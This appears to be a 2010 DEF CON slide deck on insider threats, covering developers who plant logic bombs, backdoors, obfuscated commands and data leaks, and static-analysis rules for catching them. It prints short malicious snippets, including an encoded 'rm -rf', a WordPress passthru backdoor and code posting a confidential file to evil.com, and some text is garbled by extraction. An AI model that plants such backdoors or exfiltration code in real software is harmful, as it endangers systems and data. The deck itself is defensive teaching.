Repelling the Wily Insider

Matias Madou, PhD / Jacob West
DEF CON 18 / Las Vegas, NV / 7.30-8.1, 2010
Matias Madou

- Security Researcher @ Fortify Software
  - Focus on new techniques to find vulnerabilities (static and dynamic)
  - New ways to protect WebApps
- Contributor to BSIMM Europe
- History in Code Obfuscation (& Binary Rewriting)
Jacob West

- Director of Security Research, Fortify Software
- Secure Programming with Static Analysis
- Speaker at RSA, Black Hat, Def Con, OWASP, SANS, Web 2.0
- Contributor to MOPS, a C/C++ static analysis tool (UC Berkeley)
Overview

- Intro
- Insider Threat Background
- Classes of Insider Threats
- Techniques for Defenders
- Face-Off
- Conclusion
43% of the companies had losses due to malicious insiders (66% due to non-malicious)
Overview

- Intro
- Insider Threat Background
- Classes of Insider Threats
- Techniques for Defenders
- Face-Off
- Conclusion
Which Insiders?

- Developers
  - Less destructive, more subtle.
    Reason: Trace code back to the developer
- ...not about IT people
Motives

Guess What?
You’re Fired!

You Door

SALE!
What if You Get Caught?

- Medco: Failed Logic Bomb: 30 months (up to 10y)
- UBS: Successful Logic Bomb: 8 years
What We're Looking For: Bad Code
2004 Obfuscated Voting Contest

- 2004 coding contest hosted at Stanford
- 41 participants submit electronic voting code

Objectives:
- Count correctly in test mode
- Skew toward one candidate during the real election
- Human code reviewer should not notice the bias
- Skew should be subtle enough to avoid attention
Contest Results

- Techniques used by top 10 entries

- Buffer Overflow: 4 entries
- Convoluted or obscured logic: 3 entries
- Dangerous language features (macros): 2 entries
- Uninitialized Memory: 1 entry
Overview

- Intro
- Insider Threat Background
- Classes of Insider Threats
- Techniques for Defenders
- Face-Off
- Conclusion
Classifying Well-Known Examples

- **Medco**

  ```
  if ( date > "April 23, 2005" )
    delete all files on all 70 servers
  ```

- **Linux**

  ```
  if ((options == (__WCLONE|__WALL)) &&
      (current->uid = 0))
  ```

- **Borland’s InterBase**

  ```
  if ( username == "politically" and password == "correct")
    // Grant Access!
  ```

- **Wordpress**

  ```
  if ($_GET["iz"])) { get_theme_mcommand($_GET["iz"]); }
  ```
1. Obfuscation and Camouflage

- Where to hide from? Developers think of human inspectors of the code. What people can see.
- Make code looks similar to real code (be subtle)
- Linux case, make root:
  
  ```c
  if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
  ```
- X11 case, forgotten parenthesis

  ```c
  if (getuid() == 0 || geteuid != 0) {
      if (!strcmp(argv[i], "-modulepath") ) {
```
1. Obfuscation and Camouflage

- Decode a static string and execute

```java
//encoded form of: "rm -rf some_critical_dir/*"
String enc_cmd = "cm0gLXJmIHNvbWVfY3JpdGljYWxzfZGlyLyQ=";
decoded=(new BASE64Encoder()).decodeBuffer(encoded_command);
Runtime.getRuntime().exec(decoded);
```
1. Obfuscation and Camouflage

- Case: Usage of simple substitution cyphers (Like Rot13, Four square, Bifid and Trifid Cypher, ...)
2. Logic or Time Bomb

- A logic bomb is a piece of malicious code that is dormant until a triggering mechanism enables it.
- One common method for enabling a logic bomb is comparing the current date and time against a trigger date and time.
- Numerous public disclosers
2. Logic or Time Bomb

- Destructive IT People break the news:
  - Logic Bomb Wipes out 800 PCs in Norfolk VA
  - Medco sys admin gets 30 months for planting logic bomb (Inside saboteur could have crippled pharmacists' ability to check for deadly drug interactions, U.S. attorney says)
  - 'Logic Bomb' Hacker Gets 8 Years for Failed Stock Rigging

- But yes developers seems to be destructive too:
  - Fired Contractor Kisses Off Fannie Mae With Logic Bomb
2. Logic or Time Bomb

- What we found (Financial Institution):
- This was found in code. The trigger code was updating database entries

```java
long initTime = System.currentTimeMillis();
if(initTime > 0x1291713454eL)
    //Trigger
```
3. Dynamic Code Injection/Manipulation

- Categories:
  - Abuse reflection (Rewriting read-only variables)
  - Resource Rewriting (Rewriting class and jar files)
  - Runtime Compilation (Compiling code at runtime)
  - Class Loader Abuse (Turn bytes in executable code)
  - ...
3. Dynamic Code Injection/Manipulation

- **Example: (Abuse Reflection)**
  ```java
cpyublic static final String
fixed_place_to_read_important_info="...";
...

Field field=String.class.getDeclaredField("value");
field.setAccessible(true);
field.set("fixed_place_to_read_important_info",
  "the_new_value".toCharArray);
...
```

- **Cases: Not seen in the wild**

Credit to Jeff Williams, Enterprise Java Rootkits, BH 2009
4. Backdoors and Secret Credentials

- Most common Insider Threat: (Threat against company and users)
  - Execute commands (OS, queries, ...)
  - Adding credentials
  - Adding a master password
4. Backdoors and Secret Credentials

- Borland’s InterBase
  
```java
if ( username == "politically" and password == "correct")
  //Grant Access!
```

- Wordpress backdoor
  
```php
if ($_GET["iz"]){ get_theme_mcommand($_GET["iz"]); }
```
4. Backdoors and Secret Credentials

- **Optix Pro:**
  - Random-looking 38-character "master password" (kjui3498fjk34289890fwe334gfew4ger$sdf)
  - Encrypted in binary, decrypted in RAM
  - Included for security reasons

- **Subseven**
  - Backdoor with secret password
  - Way to control what they’ve created
5. Nefarious Communication

- Opening socket and making connections can be used to transfer sensitive information.

- Cases: Financial Institution. Opened a connection and transferred (sensitive?) information
5. Nefarious Communication

- Transfer secret files on a regular basis

ServerSocket srvr = new ServerSocket(666);

Socket skt = srvr.accept();
File pf = new File("someConfidentialFile.txt");
if (pf.exists()) {
  PrintWriter out = new PrintWriter(skt.getOutputStream(), true);
  FileInputStream fi = new FileInputStream(pf);
  BufferedReader r =
    new BufferedReader(new InputStreamReader(fi));
  String data;
  while ((data = r.readLine()) != null) {
    out.print(data + "\n");
  }
  out.close();
}
5. Nefarious Communication

- Similar: Transfer secret file by posting the file

```java
URL url = new URL("http://evil.com:666/SomeDoFile.do");

HttpURLConnection connection = null;
connection = (HttpURLConnection)url.openConnection();
connection.setRequestMethod("POST");

//The file to send
File pf = new java.io.File("someConfidentialFile.txt");
FileInputStream fi = new FileInputStream(pf);
fi.read(the_bytes);

OutputStream out = connection.getOutputStream();
out.write(the_bytes);
out.close();

int responseCode = connection.getResponseCode();  //Send
5. Nefarious Communication

- Blackberry Case: e-mail spying:
- Advertised as a performance update, but contained:

  ```java
  smtp.sendMail("etisalat_upgr@etisalat.ae", subj, body);
  ```

- This looked like valid insider threat code. (Turns out that it was on purpose)
Overview

- Intro
- Insider Threat Background
- Classes of Insider Threats
- Techniques for Defenders
- Face-Off
- Conclusion
Peer Review

- Yes, you will find this suspicious:

  YzI5dHpxPT1zZGNzYWRjYXNkY2FzZGNhcztstSZNtYTtzbGRt
  YztsY1zZGNsO21hc2RsnNbRENBTETTSkRDS0pMQVNEQ0

- After one week you might spot:

  
  if ($_GET["iz"])) { get_theme_mcommand($_GET["iz"]) ; } 

- But when will you find this one:

  
  if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
Static Analysis: Irregular Usage

- By default: Will find Insider Threats that exploit Command Injection, SQL Injection, ...
- Example: Wordpress Vulnerability:

```php
if ($_GET['iz']) {
    get_theme_mcommand($_GET['iz']);
}

function get_theme_mcommand($mcds) {
    passthru($mcds);
    ...
```
Inside a Static Analysis Tool

Source Code

Build Model

Perform Analysis

Present Results

Security Knowledge

if (code (buf, size)) {
  stdio (buf);
  strcpy (buf, buf);
  system (othr);
}
How can static analysis help here?

Problem with manual code review:
- Where to start?
- What to look for? (Is the security person an expert in all insider threat categories at once?)

Solution: Static Analysis can show points of interest
- Requires a different mindset to look at results
- Must write new rules!
Scenario: Rules Writing

- A laid-off employee installs code that reads the **entire database** on a regular basis and sends the results over a socket connection.
Scenario: Rules Writing

- A laid-off employee installs code that reads the **entire database** on a regular basis and sends the results over a socket connection.

- First: Grabbing the entire database is suspicious

- Static query:
  ```python
  con.execute("SELECT * FROM database");
  ```

- Rule:
  Text matches "(?i)select\s+\*\s+from\s+\w+"
Scenario: Rules Writing

- A laid-off employee installs code that reads the entire database on a regular basis and sends the results over a socket connection.
Scenario: Rules Writing

- A laid-off employee installs code that reads the entire database on a regular basis and sends the results over a socket connection.

- Second: Sending it over the wire is suspicious

- Static query:
  
  ```java
  ServerSocket srvr = new java.net.ServerSocket(666);
  ```

- Rule: Port in java.net.ServerSocket hardcoded
A laid-off employee installs code that reads the entire database on a regular basis and sends the results over a socket connection.
Scenario: Rules Writing

- A laid-off employee installs code that reads the entire database on a **regular basis** and sends the results over a socket connection.

- Third: Mechanism to grab and compare time

- Static query:
  ```java
  initTime = System.currentTimeMillis();
  ```

- Rule: Flag all calls to
  ```java
  java.lang.System.currentTimeMillis()
  ```
Scenario: Rules Writing

- A laid-off employee installs code that reads the entire database on a regular basis and sends the results over a socket connection.

- Third: Mechanism to grab and compare time

- Static query:
  \[
  \text{if(initTime} > 0x1291713454eL)\]

- Rule: All compares of time with hardcoded value
Result Presentation

- Different mindset required
- For example:
  
  ```java
  long initTime = System.currentTimeMillis();
  if(initTime > 0x1291713454eL)
      //Code
  ```

- Static Analysis:
  - Found: Hard coded date comparisons
  - Issue: Possible Logic Bomb!

- Context is very important now.
  - Legit: Updates/Timings/...
  - Malicious: Logic/Time Bomb planted by insider
Result Presentation

- Order results based on known scenario’s,
  Example: date comparison
  - Low: get the current time
  - Medium: compare the current time
  - Hot: Compare the current time to a hard coded date
For (pretty much) every rule, we can think of a legit use of such code in your application.

- Date comparisons (with a hard coded date)
  - Legit: Updates
- Hard coded e-mail addresses
  - Legit: Contact administrator
- Copy the entire Database
  - Legit: Migration, Backup, ...
Runtime Analysis: In QA

- Functional Testing can help:
- Apply extensive functional test. Each critical place (like executing a query against a DB) that isn’t executed is suspicious.
- ... (TODO: Add)
Spot abnormal behavior at runtime
Massive amount of data sent from an usual place
... (TODO: add)
### Finding the Wily Insider

<table>
<thead>
<tr>
<th></th>
<th>Manual</th>
<th>Static</th>
<th>Runtime</th>
</tr>
</thead>
<tbody>
<tr>
<td>Class Loader Abuse</td>
<td>X</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Reflection Abuse</td>
<td>X</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Convoluted logic</td>
<td>X</td>
<td>X</td>
<td></td>
</tr>
<tr>
<td>Runtime Compilation</td>
<td></td>
<td></td>
<td>X</td>
</tr>
<tr>
<td>Credential Insertion</td>
<td>X</td>
<td>X</td>
<td></td>
</tr>
<tr>
<td>E-Mail Spying</td>
<td>X</td>
<td>X</td>
<td></td>
</tr>
<tr>
<td>Hidden Functionality</td>
<td>X</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Leaked Secret</td>
<td></td>
<td>X</td>
<td>X</td>
</tr>
<tr>
<td>Logic Bomb</td>
<td>X</td>
<td>X</td>
<td></td>
</tr>
<tr>
<td>Network Communication</td>
<td></td>
<td>X</td>
<td>X</td>
</tr>
<tr>
<td>Overwritten Method</td>
<td>X</td>
<td>X</td>
<td></td>
</tr>
<tr>
<td>Password Bypass</td>
<td></td>
<td>X</td>
<td>X</td>
</tr>
<tr>
<td>Process Flow Disruption</td>
<td>X</td>
<td>X</td>
<td></td>
</tr>
<tr>
<td>Redundant Condition</td>
<td></td>
<td></td>
<td>X</td>
</tr>
<tr>
<td>Resource Rewriting</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Static SQL Query</td>
<td></td>
<td>X</td>
<td>X</td>
</tr>
<tr>
<td>Static Secret</td>
<td>X</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Suspicious String</td>
<td>X</td>
<td></td>
<td>X</td>
</tr>
</tbody>
</table>
Overview

- Intro
- Insider Threat Background
- Classes of Insider Threats
- Techniques for Defenders
- Face-Off
- Conclusion
Results: The Reality

- Java rulepack, 17 Insider Threat Categories
- Used by several Financial Institutions
- Multiple confirmed issues
Overview

- Intro
- Insider Threat Background
- Classes of Insider Threats
- Techniques for Defenders
- Face-Off
- Conclusion
Conclusion

- The Insider Threats problem is hard to solve as the insiders’ capabilities are unlimited.
- A static analysis tool can show points of interest in the code.
Questions?

Matias Madou, PhD
mmadou@fortify.com

Jacob West
jacob@fortify.com